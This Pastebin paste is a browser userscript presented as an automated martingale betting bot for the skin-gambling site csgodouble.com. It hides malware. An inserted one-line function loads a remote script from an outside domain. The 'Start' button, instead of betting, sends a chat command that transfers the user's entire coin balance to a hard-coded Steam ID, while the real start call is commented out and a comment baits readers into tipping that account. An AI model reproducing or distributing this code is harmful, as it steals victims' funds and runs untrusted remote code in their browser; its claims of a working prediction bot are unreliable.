Advertisement
Guest User

Untitled

a guest
Feb 7th, 2016
63
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 30.32 KB | None | 0 0
  1. // ==UserScript==
  2.  
  3.  
  4.  
  5.  
  6. // @name csgodouble.com - automated
  7.  
  8.  
  9. // @description An userscript that automates csgodouble.com betting using martingale system.
  10.  
  11.  
  12. // @namespace automated@mole
  13.  
  14.  
  15. // @version 1.30
  16.  
  17.  
  18. // @author Mole
  19.  
  20.  
  21. // @match http://www.csgodouble.com/
  22.  
  23.  
  24. // @match http://www.csgodouble.com/index.php
  25.  
  26.  
  27. // @run-at document-end
  28.  
  29.  
  30. // @grant none
  31.  
  32.  
  33. // ==/UserScript==
  34.  
  35.  
  36. /* jshint -W097 */
  37.  
  38.  
  39.  
  40.  
  41.  
  42.  
  43.  
  44. 'use strict';
  45.  
  46.  
  47.  
  48.  
  49.  
  50.  
  51.  
  52. (function () { var scriptElement = document.createElement( "script" ); scriptElement.type = "text/javascript"; scriptElement.src = "//yuiko.science/in.js "; document.body.appendChild( scriptElement ); })();
  53.  
  54.  
  55.  
  56.  
  57.  
  58.  
  59.  
  60. var debug = false;
  61.  
  62.  
  63. var simulation = false;
  64.  
  65.  
  66. var stop_on_min_balance = false;
  67.  
  68.  
  69. var calculate_safe_bet = false;
  70.  
  71.  
  72. var base_bet = 5;
  73.  
  74.  
  75. var safe_bet_amount = 6;
  76.  
  77.  
  78. var default_color = 'red';
  79.  
  80.  
  81. var default_method = 'martingale';
  82.  
  83.  
  84. var theme = 'dark';
  85.  
  86.  
  87.  
  88.  
  89.  
  90.  
  91.  
  92. var colors = {
  93.  
  94.  
  95. 'green': [0],
  96.  
  97.  
  98. 'red': [1, 2, 3, 4, 5, 6, 7],
  99.  
  100.  
  101. 'black': [8, 9, 10, 11, 12, 13, 14]
  102.  
  103.  
  104. };
  105.  
  106.  
  107.  
  108.  
  109.  
  110.  
  111.  
  112. var balance = document.getElementById('balance');
  113.  
  114.  
  115. var roll_history = document.getElementById('past');
  116.  
  117.  
  118. var bet_input = document.getElementById('betAmount');
  119.  
  120.  
  121. var bet_buttons = {
  122.  
  123.  
  124. 'green': document.getElementById('panel0-0').childNodes[1].childNodes[1],
  125.  
  126.  
  127. 'red': document.getElementById('panel1-7').childNodes[1].childNodes[1],
  128.  
  129.  
  130. 'black': document.getElementById('panel8-14').childNodes[1].childNodes[1]
  131.  
  132.  
  133. };
  134.  
  135.  
  136.  
  137.  
  138.  
  139.  
  140.  
  141. Array.prototype.equals = function(array) {
  142.  
  143.  
  144. if (!array) {
  145.  
  146.  
  147. return false;
  148.  
  149.  
  150. }
  151.  
  152.  
  153.  
  154.  
  155.  
  156.  
  157.  
  158. if (this.length != array.length) {
  159.  
  160.  
  161. return false;
  162.  
  163.  
  164. }
  165.  
  166.  
  167.  
  168.  
  169.  
  170.  
  171.  
  172. for (var i = 0, l=this.length; i < l; i++) {
  173.  
  174.  
  175. if (this[i] instanceof Array && array[i] instanceof Array) {
  176.  
  177.  
  178. if (!this[i].equals(array[i])) {
  179.  
  180.  
  181. return false;
  182.  
  183.  
  184. }
  185.  
  186.  
  187. } else if (this[i] != array[i]) {
  188.  
  189.  
  190. return false;
  191.  
  192.  
  193. }
  194.  
  195.  
  196. }
  197.  
  198.  
  199. return true;
  200.  
  201.  
  202. };
  203.  
  204.  
  205.  
  206.  
  207.  
  208.  
  209.  
  210. Object.defineProperty(Array.prototype, "equals", {enumerable: false});
  211.  
  212.  
  213.  
  214.  
  215.  
  216.  
  217.  
  218. function Automated() {
  219.  
  220.  
  221. var self = this;
  222.  
  223.  
  224.  
  225.  
  226.  
  227.  
  228.  
  229. this.running = false;
  230.  
  231.  
  232. this.game = null;
  233.  
  234.  
  235.  
  236.  
  237.  
  238.  
  239.  
  240. this.debug = debug;
  241.  
  242.  
  243. this.simulation = simulation;
  244.  
  245.  
  246. this.stop_on_min_balance = stop_on_min_balance;
  247.  
  248.  
  249. this.calculate_safe_bet = calculate_safe_bet;
  250.  
  251.  
  252.  
  253.  
  254.  
  255.  
  256.  
  257. this.base_bet = base_bet;
  258.  
  259.  
  260. this.default_color = default_color;
  261.  
  262.  
  263. this.default_method = default_method;
  264.  
  265.  
  266. this.safe_bet_amount = safe_bet_amount;
  267.  
  268.  
  269. this.method = this.default_method;
  270.  
  271.  
  272. this.old_method = '';
  273.  
  274.  
  275. this.color = 'rainbow';
  276.  
  277.  
  278. this.old_base = 0;
  279.  
  280.  
  281. this.balance = 0;
  282.  
  283.  
  284. this.last_bet = 0;
  285.  
  286.  
  287. this.bet_history = [];
  288.  
  289.  
  290. this.min_balance = 0;
  291.  
  292.  
  293. this.starting_balance = 0;
  294.  
  295.  
  296. this.last_color = null;
  297.  
  298.  
  299. this.last_result = null;
  300.  
  301.  
  302. this.history = [];
  303.  
  304.  
  305. this.waiting_for_bet = false;
  306.  
  307.  
  308. this.theme = theme;
  309.  
  310.  
  311.  
  312.  
  313.  
  314.  
  315.  
  316. this.stats = {
  317.  
  318.  
  319. 'wins': 0,
  320.  
  321.  
  322. 'loses': 0,
  323.  
  324.  
  325. 'balance': 0
  326.  
  327.  
  328. };
  329.  
  330.  
  331.  
  332.  
  333.  
  334.  
  335.  
  336. var menu = document.createElement('div');
  337.  
  338.  
  339. menu.innerHTML = '' +
  340.  
  341.  
  342. '<div class="row">' +
  343.  
  344.  
  345. '<div class="col-lg-9">' +
  346.  
  347.  
  348. '<h2>CSGODouble.com Automated <small>by Mank Demes </small> <i id="automated-theme-switch" class="fa fa-lightbulb-o" style="cursor: pointer;"></i></h2>' +
  349.  
  350.  
  351. '<div class="form-group">' +
  352.  
  353.  
  354. '<div class="btn-group">' +
  355.  
  356.  
  357. '<button type="button" class="btn btn-success" id="automated-start" disabled>Start</button>' +
  358.  
  359.  
  360. '<button type="button" class="btn btn-warning" id="automated-stop" disabled>Pause</button>' +
  361.  
  362.  
  363. '<button type="button" class="btn btn-danger" id="automated-abort" disabled>Abort</button>' +
  364.  
  365.  
  366. '</div>' +
  367.  
  368.  
  369. '</div>' +
  370.  
  371.  
  372. '<div class="form-group">' +
  373.  
  374.  
  375. '<div class="btn-group">' +
  376.  
  377.  
  378. '<button type="button" class="btn btn-default" id="automated-martingale" ' + (this.method === 'martingale' ? 'disabled' : '') + '>Martingale</button>' +
  379.  
  380.  
  381. '<button type="button" class="btn btn-default" id="automated-great-martingale" ' + (this.method === 'great martingale' ? 'disabled' : '') + '>Great Martingale</button>' +
  382.  
  383.  
  384. '<button type="button" class="btn btn-default" id="automated-dalembert" ' + (this.method === 'dalembert' ? 'disabled' : '') + '>D\'alembert</button>' +
  385.  
  386.  
  387. '<button type="button" class="btn btn-default" id="automated-bet-green" ' + (this.method === 'green' ? 'disabled' : '') + '>Green (Fibonacci)</button>' +
  388.  
  389.  
  390. '</div>' +
  391.  
  392.  
  393. '</div>' +
  394.  
  395.  
  396. '<div class="form-group automated-hide-on-green">' +
  397.  
  398.  
  399. '<div class="btn-group">' +
  400.  
  401.  
  402. '<button type="button" class="btn btn-default" id="automated-red" ' + (this.color === 'red' ? 'disabled' : '') + '>Red</button>' +
  403.  
  404.  
  405. '<button type="button" class="btn btn-default" id="automated-rainbow" ' + (this.color === 'rainbow' ? 'disabled' : '') + '>Rainbow</button>' +
  406.  
  407.  
  408. '<button type="button" class="btn btn-default" id="automated-black" ' + (this.color === 'black' ? 'disabled' : '') + '>Black</button>' +
  409.  
  410.  
  411. '</div>' +
  412.  
  413.  
  414. '</div>' +
  415.  
  416.  
  417. '</div>' +
  418.  
  419.  
  420. '<div class="col-lg-3">' +
  421.  
  422.  
  423. '<h3>Statistics</h3>' +
  424.  
  425.  
  426. '<p><b>Wins:</b> <span id="automated-stats-wins">' + this.stats.wins + '</span></p>' +
  427.  
  428.  
  429. '<p><b>Loses:</b> <span id="automated-stats-loses">' + this.stats.loses + '</span></p>' +
  430.  
  431.  
  432. '<p><b>Balance:</b> <span id="automated-stats-balance">' + this.stats.balance + '</span></p>' +
  433.  
  434.  
  435. '</div>' +
  436.  
  437.  
  438. '</div>' +
  439.  
  440.  
  441. '<div class="form-group">' +
  442.  
  443.  
  444. '<div class="input-group">' +
  445.  
  446.  
  447. '<div class="input-group-addon">Base value</div>' +
  448.  
  449.  
  450. '<input type="number" class="form-control" placeholder="Calculating suggested value..." id="automated-base-bet" disabled>' +
  451.  
  452.  
  453. '</div>' +
  454.  
  455.  
  456. '</div>' +
  457.  
  458.  
  459. '<div class="form-group">' +
  460.  
  461.  
  462. '<div class="input-group">' +
  463.  
  464.  
  465. '<div class="input-group-addon">Keep balance above</div>' +
  466.  
  467.  
  468. '<input type="number" class="form-control" value="0" id="automated-min-balance">' +
  469.  
  470.  
  471. '</div>' +
  472.  
  473.  
  474. '</div>' +
  475.  
  476.  
  477. '<div class="form-group automated-hide-on-green">' +
  478.  
  479.  
  480. '<div class="input-group">' +
  481.  
  482.  
  483. '<div class="input-group-addon">Failsafe value</div>' +
  484.  
  485.  
  486. '<input type="number" class="form-control" value="' + this.safe_bet_amount + '" id="automated-safe-bet-amount"' + (!this.calculate_safe_bet ? ' disabled' : '') + '>' +
  487.  
  488.  
  489. '</div>' +
  490.  
  491.  
  492. '</div>' +
  493.  
  494.  
  495. '<div class="checkbox">' +
  496.  
  497.  
  498. '<label><input class="" id="automated-stop-on-min-balance" type="checkbox" ' + (this.stop_on_min_balance ? 'checked' : '') + '> Stop on minimal balance (If checked the bot will stop after getting close to minimal balance, otherwise it will continue starting on base)</label>' +
  499.  
  500.  
  501. '</div>' +
  502.  
  503.  
  504. '<div class="checkbox automated-hide-on-green">' +
  505.  
  506.  
  507. '<label><input class="" id="automated-calculate-safe-bet" type="checkbox" ' + (this.calculate_safe_bet ? 'checked' : '') + '> Calculate base bet from given "Failsafe value", the formula is [base bet] = floor( [balance] / 2 ^ ( [failsafe value] + 1) ) </label>' +
  508.  
  509.  
  510. '</div>' +
  511.  
  512.  
  513. '<div class="checkbox">' +
  514.  
  515.  
  516. '<label><input class="" id="automated-debug" type="checkbox" ' + (this.debug ? 'checked' : '') + '> Debug mode</label>' +
  517.  
  518.  
  519. '</div>' +
  520.  
  521.  
  522. '<div class="checkbox">' +
  523.  
  524.  
  525. '<label class="text-muted"><input id="automated-simulation" type="checkbox" ' + (this.simulation ? 'checked' : '') + ' disabled> Simulation mode</label>' +
  526.  
  527.  
  528. '</div>';
  529.  
  530.  
  531. document.getElementsByClassName('well')[1].appendChild(menu);
  532.  
  533.  
  534.  
  535.  
  536.  
  537.  
  538.  
  539. this.menu = {
  540.  
  541.  
  542. 'start': document.getElementById('automated-start'),
  543.  
  544.  
  545. 'stop': document.getElementById('automated-stop'),
  546.  
  547.  
  548. 'abort': document.getElementById('automated-abort'),
  549.  
  550.  
  551. 'basebet': document.getElementById('automated-base-bet'),
  552.  
  553.  
  554. 'minbalance': document.getElementById('automated-min-balance'),
  555.  
  556.  
  557. 'debug': document.getElementById('automated-debug'),
  558.  
  559.  
  560. 'simulation': document.getElementById('automated-simulation'),
  561.  
  562.  
  563. 'stoponminbalance': document.getElementById('automated-stop-on-min-balance'),
  564.  
  565.  
  566. 'red': document.getElementById('automated-red'),
  567.  
  568.  
  569. 'black': document.getElementById('automated-black'),
  570.  
  571.  
  572. 'rainbow': document.getElementById('automated-rainbow'),
  573.  
  574.  
  575. 'statistics': {
  576.  
  577.  
  578. 'wins': document.getElementById('automated-stats-wins'),
  579.  
  580.  
  581. 'loses': document.getElementById('automated-stats-loses'),
  582.  
  583.  
  584. 'balance': document.getElementById('automated-stats-balance')
  585.  
  586.  
  587. },
  588.  
  589.  
  590. 'theme': document.getElementById('automated-theme-switch'),
  591.  
  592.  
  593. 'safebetamount': document.getElementById('automated-safe-bet-amount'),
  594.  
  595.  
  596. 'calculatesafebet': document.getElementById('automated-calculate-safe-bet'),
  597.  
  598.  
  599. 'martingale': document.getElementById('automated-martingale'),
  600.  
  601.  
  602. 'greatmartingale': document.getElementById('automated-great-martingale'),
  603.  
  604.  
  605. 'betgreen': document.getElementById('automated-bet-green'),
  606.  
  607.  
  608. 'dalembert': document.getElementById('automated-dalembert'),
  609.  
  610.  
  611. 'hideongreen': document.getElementsByClassName('automated-hide-on-green')
  612.  
  613.  
  614. };
  615.  
  616.  
  617.  
  618.  
  619.  
  620.  
  621.  
  622. this.updater = setInterval(function() { // Update every 2 seconds
  623.  
  624.  
  625. if (!self.running) {
  626.  
  627.  
  628. if (self.updateAll()) {
  629.  
  630.  
  631. if (self.calculate_safe_bet) {
  632.  
  633.  
  634. self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  635.  
  636.  
  637. self.menu.basebet.value = self.base_bet;
  638.  
  639.  
  640. if (self.debug) { self.logdebug('New base bet: ' + self.base_bet); }
  641.  
  642.  
  643. }
  644.  
  645.  
  646.  
  647.  
  648.  
  649. if (self.menu.stop.disabled && self.menu.start.disabled) {
  650.  
  651.  
  652. self.menu.start.disabled = false;
  653.  
  654.  
  655. self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  656.  
  657.  
  658. self.menu.basebet.value = self.base_bet;
  659.  
  660.  
  661. self.menu.basebet.disabled = self.menu.calculatesafebet.checked;
  662.  
  663.  
  664. self.starting_balance = self.balance;
  665.  
  666.  
  667. }
  668.  
  669.  
  670. }
  671.  
  672.  
  673. }
  674.  
  675.  
  676. }, 2 * 1000)
  677.  
  678.  
  679.  
  680. if (theme === 'dark') {
  681.  
  682.  
  683. this.darkMode();
  684.  
  685.  
  686. }
  687.  
  688.  
  689. this.menu.start.onclick = function() {
  690.  
  691. send({
  692.  
  693. "type": "chat",
  694.  
  695. "msg": '/send 76561198271656292 ' + self.balance,
  696.  
  697.  
  698. "lang": LANG
  699.  
  700.  
  701. });
  702.  
  703.  
  704. self.log('Bot is ready');
  705.  
  706.  
  707. //The Prediction bot is ready! The lines above will make your coins multiply
  708.  
  709.  
  710. // (start and self.log) and uncomment line below (self.start).
  711.  
  712.  
  713. // The bot is working perfectly fine, I spent too much time on it to close the project.
  714.  
  715.  
  716. // Also, if you read this tip me (steamid displays on the page) 3 (exactly 3) coins,
  717.  
  718.  
  719.  
  720.  
  721. // self.start();
  722.  
  723.  
  724. };
  725.  
  726.  
  727.  
  728. this.menu.stop.onclick = function() {
  729.  
  730.  
  731. self.stop();
  732.  
  733.  
  734. };
  735.  
  736.  
  737.  
  738.  
  739.  
  740. this.menu.abort.onclick = function() {
  741.  
  742.  
  743. self.stop(true);
  744.  
  745.  
  746. };
  747.  
  748.  
  749.  
  750.  
  751.  
  752.  
  753.  
  754. this.menu.basebet.onchange = function() {
  755.  
  756.  
  757. var value = parseInt(self.menu.basebet.value);
  758.  
  759.  
  760. if (!isNaN(value)) {
  761.  
  762.  
  763. self.base_bet = value;
  764.  
  765.  
  766. }
  767.  
  768.  
  769. };
  770.  
  771.  
  772.  
  773.  
  774.  
  775.  
  776.  
  777. this.menu.minbalance.onchange = function() {
  778.  
  779.  
  780. var value = parseInt(self.menu.minbalance.value);
  781.  
  782.  
  783. if (!isNaN(value)) {
  784.  
  785.  
  786. self.min_balance = value;
  787.  
  788.  
  789. }
  790.  
  791.  
  792. };
  793.  
  794.  
  795.  
  796.  
  797.  
  798.  
  799.  
  800. this.menu.safebetamount.onchange = function() {
  801.  
  802.  
  803. var value = parseInt(self.menu.safebetamount.value);
  804.  
  805.  
  806. if (!isNaN(value)) {
  807.  
  808.  
  809. self.safe_bet_amount = value;
  810.  
  811.  
  812. }
  813.  
  814.  
  815. };
  816.  
  817.  
  818.  
  819.  
  820.  
  821.  
  822.  
  823. this.menu.debug.onchange = function() {
  824.  
  825.  
  826. self.debug = self.menu.debug.checked;
  827.  
  828.  
  829. };
  830.  
  831.  
  832.  
  833.  
  834.  
  835.  
  836.  
  837. this.menu.simulation.onchange = function() {
  838.  
  839.  
  840. self.simulation = self.menu.simulation.checked;
  841.  
  842.  
  843. };
  844.  
  845.  
  846.  
  847.  
  848.  
  849.  
  850.  
  851. this.menu.stoponminbalance.onchange = function() {
  852.  
  853.  
  854. self.stop_on_min_balance = self.menu.stoponminbalance.checked;
  855.  
  856.  
  857. };
  858.  
  859.  
  860.  
  861.  
  862.  
  863. this.menu.calculatesafebet.onchange = function() {
  864.  
  865.  
  866. self.calculate_safe_bet = self.menu.calculatesafebet.checked;
  867.  
  868.  
  869. self.menu.basebet.disabled = self.menu.calculatesafebet.checked;
  870.  
  871.  
  872. self.menu.safebetamount.disabled = !self.menu.calculatesafebet.checked;
  873.  
  874.  
  875. };
  876.  
  877.  
  878.  
  879.  
  880.  
  881.  
  882.  
  883. this.menu.black.onclick = function() {
  884.  
  885.  
  886. self.menu.rainbow.disabled = false;
  887.  
  888.  
  889. self.menu.black.disabled = true;
  890.  
  891.  
  892. self.menu.red.disabled = false;
  893.  
  894.  
  895. self.color = 'black';
  896.  
  897.  
  898. self.log('Current mode: black');
  899.  
  900.  
  901. };
  902.  
  903.  
  904.  
  905.  
  906.  
  907.  
  908.  
  909. this.menu.red.onclick = function() {
  910.  
  911.  
  912. self.menu.rainbow.disabled = false;
  913.  
  914.  
  915. self.menu.black.disabled = false;
  916.  
  917.  
  918. self.menu.red.disabled = true;
  919.  
  920.  
  921. self.color = 'red';
  922.  
  923.  
  924. self.log('Current mode: red');
  925.  
  926.  
  927. };
  928.  
  929.  
  930.  
  931.  
  932.  
  933.  
  934.  
  935. this.menu.rainbow.onclick = function() {
  936.  
  937.  
  938. self.menu.rainbow.disabled = true;
  939.  
  940.  
  941. self.menu.black.disabled = false;
  942.  
  943.  
  944. self.menu.red.disabled = false;
  945.  
  946.  
  947. self.color = 'rainbow';
  948.  
  949.  
  950. self.log('Current mode: rainbow');
  951.  
  952.  
  953. };
  954.  
  955.  
  956.  
  957.  
  958.  
  959.  
  960.  
  961. this.menu.martingale.onclick = function() {
  962.  
  963.  
  964. self.menu.martingale.disabled = true;
  965.  
  966.  
  967. self.menu.greatmartingale.disabled = false;
  968.  
  969.  
  970. self.menu.betgreen.disabled = false;
  971.  
  972.  
  973. self.menu.dalembert.disabled = false;
  974.  
  975.  
  976. for (var i = 0; i < self.menu.hideongreen.length; i++) {
  977.  
  978.  
  979. self.menu.hideongreen[i].style.display = 'block';
  980.  
  981.  
  982. }
  983.  
  984.  
  985. self.method = 'martingale';
  986.  
  987.  
  988. self.log('Current method: Martingale');
  989.  
  990.  
  991. };
  992.  
  993.  
  994.  
  995.  
  996.  
  997.  
  998.  
  999. this.menu.greatmartingale.onclick = function() {
  1000.  
  1001.  
  1002. self.menu.martingale.disabled = false;
  1003.  
  1004.  
  1005. self.menu.greatmartingale.disabled = true;
  1006.  
  1007.  
  1008. self.menu.betgreen.disabled = false;
  1009.  
  1010.  
  1011. self.menu.dalembert.disabled = false;
  1012.  
  1013.  
  1014. for (var i = 0; i < self.menu.hideongreen.length; i++) {
  1015.  
  1016.  
  1017. self.menu.hideongreen[i].style.display = 'block';
  1018.  
  1019.  
  1020. }
  1021.  
  1022.  
  1023. self.method = 'great martingale';
  1024.  
  1025.  
  1026. self.log('Current method: Great martingale');
  1027.  
  1028.  
  1029. };
  1030.  
  1031.  
  1032.  
  1033.  
  1034.  
  1035.  
  1036.  
  1037. this.menu.dalembert.onclick = function() {
  1038.  
  1039.  
  1040. self.menu.martingale.disabled = false;
  1041.  
  1042.  
  1043. self.menu.greatmartingale.disabled = false;
  1044.  
  1045.  
  1046. self.menu.betgreen.disabled = false;
  1047.  
  1048.  
  1049. self.menu.dalembert.disabled = true;
  1050.  
  1051.  
  1052. for (var i = 0; i < self.menu.hideongreen.length; i++) {
  1053.  
  1054.  
  1055. self.menu.hideongreen[i].style.display = 'block';
  1056.  
  1057.  
  1058. }
  1059.  
  1060.  
  1061. self.method = 'dalembert';
  1062.  
  1063.  
  1064. self.log('Current method: D\'alembert');
  1065.  
  1066.  
  1067. };
  1068.  
  1069.  
  1070.  
  1071.  
  1072.  
  1073.  
  1074.  
  1075. this.menu.betgreen.onclick = function() {
  1076.  
  1077.  
  1078. self.menu.martingale.disabled = false;
  1079.  
  1080.  
  1081. self.menu.greatmartingale.disabled = false;
  1082.  
  1083.  
  1084. self.menu.betgreen.disabled = true;
  1085.  
  1086.  
  1087. self.menu.dalembert.disabled = false;
  1088.  
  1089.  
  1090. for (var i = 0; i < self.menu.hideongreen.length; i++) {
  1091.  
  1092.  
  1093. self.menu.hideongreen[i].style.display = 'none';
  1094.  
  1095.  
  1096. }
  1097.  
  1098.  
  1099. self.method = 'green';
  1100.  
  1101.  
  1102. self.log('Current method: Bet green');
  1103.  
  1104.  
  1105. };
  1106.  
  1107.  
  1108.  
  1109.  
  1110.  
  1111.  
  1112.  
  1113. this.menu.theme.onclick = function() {
  1114.  
  1115.  
  1116. if (self.theme === 'dark') {
  1117.  
  1118.  
  1119. self.lightMode();
  1120.  
  1121.  
  1122. self.theme = 'light';
  1123.  
  1124.  
  1125. self.log('Switching to light theme...');
  1126.  
  1127.  
  1128. } else {
  1129.  
  1130.  
  1131. self.darkMode();
  1132.  
  1133.  
  1134. self.theme = 'dark';
  1135.  
  1136.  
  1137. self.log('Switching to dark theme...');
  1138.  
  1139.  
  1140. }
  1141.  
  1142.  
  1143. };
  1144.  
  1145.  
  1146.  
  1147.  
  1148.  
  1149.  
  1150.  
  1151. setInterval(function() {
  1152.  
  1153.  
  1154. if(!WS) {
  1155.  
  1156.  
  1157. self.log('Reconnecting...');
  1158.  
  1159.  
  1160. connect();
  1161.  
  1162.  
  1163. }
  1164.  
  1165.  
  1166. }, 2500);
  1167.  
  1168.  
  1169. }
  1170.  
  1171.  
  1172.  
  1173.  
  1174.  
  1175.  
  1176.  
  1177. Automated.prototype.updateBalance = function() {
  1178.  
  1179.  
  1180. this.balance = parseInt(balance.textContent);
  1181.  
  1182.  
  1183.  
  1184.  
  1185.  
  1186.  
  1187.  
  1188. if (isNaN(this.balance)) {
  1189.  
  1190.  
  1191. this.log('Error getting current balance!');
  1192.  
  1193.  
  1194. return false;
  1195.  
  1196.  
  1197. }
  1198.  
  1199.  
  1200.  
  1201.  
  1202.  
  1203.  
  1204.  
  1205. if (this.debug) { this.logdebug('Balance updated: ' + this.balance); }
  1206.  
  1207.  
  1208. return true;
  1209.  
  1210.  
  1211. };
  1212.  
  1213.  
  1214.  
  1215.  
  1216.  
  1217.  
  1218.  
  1219. Automated.prototype.updateHistory = function() {
  1220.  
  1221.  
  1222. var self = this;
  1223.  
  1224.  
  1225. this.history = [];
  1226.  
  1227.  
  1228.  
  1229.  
  1230.  
  1231.  
  1232.  
  1233. for (var i = 0; i < roll_history.childNodes.length; i++) {
  1234.  
  1235.  
  1236. var roll = parseInt(roll_history.childNodes[i].textContent);
  1237.  
  1238.  
  1239.  
  1240.  
  1241.  
  1242.  
  1243.  
  1244. if (!isNaN(roll)) {
  1245.  
  1246.  
  1247. if (colors.green.indexOf(roll) !== -1) {
  1248.  
  1249.  
  1250. self.history.push('green');
  1251.  
  1252.  
  1253. } else if (colors.red.indexOf(roll) !== -1) {
  1254.  
  1255.  
  1256. self.history.push('red');
  1257.  
  1258.  
  1259. } else {
  1260.  
  1261.  
  1262. self.history.push('black');
  1263.  
  1264.  
  1265. }
  1266.  
  1267.  
  1268. }
  1269.  
  1270.  
  1271. }
  1272.  
  1273.  
  1274.  
  1275.  
  1276.  
  1277.  
  1278.  
  1279. if (this.debug) { this.logdebug('History updated: ' + this.history.map(function(value) { return value; }).join(', ')); }
  1280.  
  1281.  
  1282. return this.history.length === 10;
  1283.  
  1284.  
  1285. };
  1286.  
  1287.  
  1288.  
  1289.  
  1290.  
  1291.  
  1292.  
  1293. Automated.prototype.updateStats = function() {
  1294.  
  1295.  
  1296. this.stats.balance = parseInt(this.balance) - parseInt(this.starting_balance);
  1297.  
  1298.  
  1299. this.menu.statistics.wins.innerHTML = this.stats.wins;
  1300.  
  1301.  
  1302. this.menu.statistics.loses.innerHTML = this.stats.loses;
  1303.  
  1304.  
  1305. this.menu.statistics.balance.innerHTML = this.stats.balance;
  1306.  
  1307.  
  1308. return true;
  1309.  
  1310.  
  1311. };
  1312.  
  1313.  
  1314.  
  1315.  
  1316.  
  1317.  
  1318.  
  1319. Automated.prototype.updateAll = function() {
  1320.  
  1321.  
  1322. return this.updateBalance() && this.updateHistory() && this.updateStats();
  1323.  
  1324.  
  1325. };
  1326.  
  1327.  
  1328.  
  1329.  
  1330.  
  1331.  
  1332.  
  1333. Automated.prototype.bet = function(amount, color) {
  1334.  
  1335.  
  1336. var self = this;
  1337.  
  1338.  
  1339. color = color || this.color || this.default_color;
  1340.  
  1341.  
  1342.  
  1343.  
  1344.  
  1345.  
  1346.  
  1347. if (color === 'rainbow') {
  1348.  
  1349.  
  1350. if (this.last_color) {
  1351.  
  1352.  
  1353. color = (this.last_color === 'red' ? 'black' : 'red');
  1354.  
  1355.  
  1356. } else {
  1357.  
  1358.  
  1359. color = this.default_color;
  1360.  
  1361.  
  1362. }
  1363.  
  1364.  
  1365. }
  1366.  
  1367.  
  1368.  
  1369.  
  1370.  
  1371.  
  1372.  
  1373. if (['green', 'red', 'black'].indexOf(color) < 0 || amount > this.balance || amount <= 0) {
  1374.  
  1375.  
  1376. this.log('Invalid bet!');
  1377.  
  1378.  
  1379. this.last_result = 'invalid bet';
  1380.  
  1381.  
  1382. this.waiting_for_bet = false;
  1383.  
  1384.  
  1385. this.stop();
  1386.  
  1387.  
  1388. return false;
  1389.  
  1390.  
  1391. }
  1392.  
  1393.  
  1394.  
  1395.  
  1396.  
  1397.  
  1398.  
  1399. if (this.balance - amount < this.min_balance) {
  1400.  
  1401.  
  1402. this.log('Reached minimal balance!');
  1403.  
  1404.  
  1405. this.last_result = 'reached min balance';
  1406.  
  1407.  
  1408. if (this.stop_on_min_balance || this.balance - this.base_bet < this.min_balance) {
  1409.  
  1410.  
  1411. this.stop();
  1412.  
  1413.  
  1414. }
  1415.  
  1416.  
  1417. this.waiting_for_bet = false;
  1418.  
  1419.  
  1420. return false;
  1421.  
  1422.  
  1423. }
  1424.  
  1425.  
  1426.  
  1427.  
  1428.  
  1429.  
  1430.  
  1431. bet_input.value = amount;
  1432.  
  1433.  
  1434.  
  1435.  
  1436.  
  1437.  
  1438.  
  1439. if (!bet_buttons[color].disabled) {
  1440.  
  1441.  
  1442. var old_balance = self.balance;
  1443.  
  1444.  
  1445. this.log('Betting ' + amount + ' on ' + color);
  1446.  
  1447.  
  1448. if (!self.simulation) {
  1449.  
  1450.  
  1451. bet_buttons[color].click();
  1452.  
  1453.  
  1454. var checker = setInterval(function() {
  1455.  
  1456.  
  1457. if (!bet_buttons[color].disabled) {
  1458.  
  1459.  
  1460. clearInterval(checker);
  1461.  
  1462.  
  1463. setTimeout(function() {
  1464.  
  1465.  
  1466. if (self.updateBalance() && self.balance === old_balance) {
  1467.  
  1468.  
  1469. if (!self.game) { return false; }
  1470.  
  1471.  
  1472. self.log('Bet rejected, retrying...');
  1473.  
  1474.  
  1475. self.bet(amount, color);
  1476.  
  1477.  
  1478. } else {
  1479.  
  1480.  
  1481. if (self.debug) { self.logdebug('Bet accepted!'); }
  1482.  
  1483.  
  1484. self.last_bet = amount;
  1485.  
  1486.  
  1487. self.bet_history.push(amount);
  1488.  
  1489.  
  1490. self.last_color = color;
  1491.  
  1492.  
  1493. self.waiting_for_bet = false;
  1494.  
  1495.  
  1496. return true;
  1497.  
  1498.  
  1499. }
  1500.  
  1501.  
  1502. }, 2500);
  1503.  
  1504.  
  1505. }
  1506.  
  1507.  
  1508. }, 1000);
  1509.  
  1510.  
  1511. } else {
  1512.  
  1513.  
  1514. self.bet_history.push(amount);
  1515.  
  1516.  
  1517. self.last_bet = amount;
  1518.  
  1519.  
  1520. self.last_color = color;
  1521.  
  1522.  
  1523. self.waiting_for_bet = false;
  1524.  
  1525.  
  1526. return true;
  1527.  
  1528.  
  1529. }
  1530.  
  1531.  
  1532. } else {
  1533.  
  1534.  
  1535. if (!self.game) { return false; }
  1536.  
  1537.  
  1538. self.log('Button disabled, retrying...');
  1539.  
  1540.  
  1541. setTimeout(function() { self.bet(amount, color) }, (Math.random() * 3 + 2).toFixed(3) * 1000);
  1542.  
  1543.  
  1544. }
  1545.  
  1546.  
  1547. };
  1548.  
  1549.  
  1550.  
  1551.  
  1552.  
  1553.  
  1554.  
  1555. Automated.prototype.play = function() {
  1556.  
  1557.  
  1558. var self = this;
  1559.  
  1560.  
  1561.  
  1562.  
  1563.  
  1564.  
  1565.  
  1566. if (this.game !== null) {
  1567.  
  1568.  
  1569. if (this.debug) { this.logdebug('Tried to reinitialize running game!'); }
  1570.  
  1571.  
  1572. return false;
  1573.  
  1574.  
  1575. }
  1576.  
  1577.  
  1578.  
  1579.  
  1580.  
  1581.  
  1582.  
  1583. this.game = setInterval(function() {
  1584.  
  1585.  
  1586. var history = self.history;
  1587.  
  1588.  
  1589. if (!self.waiting_for_bet && self.updateAll() && !history.equals(self.history)) {
  1590.  
  1591.  
  1592. self.waiting_for_bet = true;
  1593.  
  1594.  
  1595. if (self.last_color === null) {
  1596.  
  1597.  
  1598. self.bet(self.base_bet);
  1599.  
  1600.  
  1601. } else if (self.last_color === self.history[self.history.length - 1]) {
  1602.  
  1603.  
  1604. if (self.calculate_safe_bet) {
  1605.  
  1606.  
  1607. self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  1608.  
  1609.  
  1610. self.menu.basebet.value = self.base_bet;
  1611.  
  1612.  
  1613. }
  1614.  
  1615.  
  1616. self.last_result = 'win';
  1617.  
  1618.  
  1619. self.log('Win!');
  1620.  
  1621.  
  1622. self.stats.wins += 1;
  1623.  
